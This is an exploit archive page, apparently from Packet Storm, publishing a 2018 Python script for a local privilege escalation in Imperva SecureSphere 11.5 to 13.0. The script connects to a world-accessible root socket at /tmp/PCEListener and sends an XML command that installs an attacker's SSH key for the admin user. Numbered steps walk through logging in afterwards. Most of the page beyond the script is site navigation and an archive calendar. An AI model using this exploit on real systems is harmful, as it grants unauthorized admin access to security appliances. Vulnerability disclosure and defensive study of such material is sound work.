Twenty Year Anniversary

Imperva SecureSphere 11.5 / 12.0 / 13.0 Privilege Escalation

Imperva SecureSphere 11.5 / 12.0 / 13.0 Privilege Escalation
Posted Aug 2, 2018
Authored by 0x09AL

Imperva SecureSphere versions 11.5, 12.0, and 13.0 suffer from a privilege escalation vulnerability.

tags | exploit
MD5 | 904db29d917d6e785eb0a03e579dcaba

Imperva SecureSphere 11.5 / 12.0 / 13.0 Privilege Escalation

Change Mirror Download
# Title: Imperva SecureSphere <= v13 - Privilege Escalation
# Author: 0x09AL
# Date: 01/08/2018
# Tested on: Imperva SecureSphere 11.5,12.0,13.0
# Vendor: https://www.imperva.com/
# Vulnerability Description
# There is a program named PCE.py which runs as root and starts a unix domain socket listener in /tmp/PCEListener.
# The problem is that the permissions in this socket are misconfigured. Every user on the system can interact with it.
# Using this exploit you can add arbritary ssh keys to authorized_keys for the admin user and login as the admin.
# Steps to reproduce:
# 1. Be a low-privileged user like oracle,apache. (You can simulate it by using `su oracle`)
# 2. Create a keypair. ssh-keygen -t rsa -b 4096
# 3. Modify the ssh_key variable.
# 4. Run python exploit.py
# 5. Login as the admin user using ssh -i id_rsa admin@ip-address.
#


import socket
import sys
import time
# Create a UDS socket
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
server_address = '/tmp/PCEListener'
data = ''

# The ssh rsa-key to be added to the admin user.
ssh_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVM24qDoENqa1oRHJZEgZS7M/eRXHEnr0/OhdgUPWUblJJAj+f5fF7VkgvnJNSz/25OElNck4Z1qqpENBtHhe27H9100z2RceebKzNMOxHD2Sdut00uNMgL97AAuzhq6471XmcutHsndT12Bd85yxQPJiGaLIyEqgVigMaAz5Jya1pw4pB7r3m4hRbeFOaS74Edzr2pk8ND1EG/CG4qTP+dt0VhyjyEimZtt+2h4VT2spRNGzLO32vjPk4hSSSeu1dqPjg6dCNwgz6JS3clAaugeT8gnWjMnrt63PIUiXcioqEbJz+IHN20MHl2GXNuzAAvSw7U7ko4BhumfgchyFmkmfS6HdtP25kiQ6A4RexcAkfbfSYsapepHlvai1+FN+M67TpIpUlIR0xNrvJEgF6/51vAGCnOjZz4BDN740JHfGxAThyny5r4FTo5c9ZNYF8jAb6TqSX4HRS/AFo8l7AynPntCnXQCYSHcH/2XG/osrDNnuh0pUlTqCK10O2GoskBsxIBYTmWEoj/6hsbQyDGuicVa/e/xweo7MA2pNAPwxYDZt/h4G/wMrCSAk6FoEL6YXMRK/RwW6p2FDYRLeCoDa/RQ8R7dEquTLTqPgQF8rPsSuhILp/CKv03JkNRq94pDyCFGHHyz+TifZ0m1yIt13N7f8BXqw7OYFJ8cFGww== pwn@wpad'

print >>sys.stderr, 'Connecting to %s' % server_address
try:
sock.connect(server_address)
except socket.error, msg:
print >>sys.stderr, msg
sys.exit(1)
try:
# Send data
message = '<commandSet Id="0" mode="Sync" sender="localhost"><commands><command num="0"><argv>platform ssh authorized create</argv><impctlParams/><params><param>--user=admin</param><param>--key=%s</param></params></command></commands></commandSet>' % ssh_key
message_size = "0" * (10 - len(str(len(message)))) + str(len(message))
print >>sys.stderr, 'Sending message size "%s"' % message_size
sock.sendall("%s" % message_size)
print >> sys.stderr, 'Sending exploit'
sock.sendall(message)
amount_received = 0
amount_expected = int(sock.recv(10))
while amount_received < amount_expected:
data += sock.recv(10)
amount_received = len(data)
time.sleep(0.5)
# print >>sys.stderr, 'received "%s"' % data
print >>sys.stderr, 'Response : \n %s' % data
finally:
print >>sys.stderr, 'closing socket'
sock.close()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    14 Files
  • 15
    Dec 15th
    2 Files
  • 16
    Dec 16th
    3 Files
  • 17
    Dec 17th
    15 Files
  • 18
    Dec 18th
    1 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close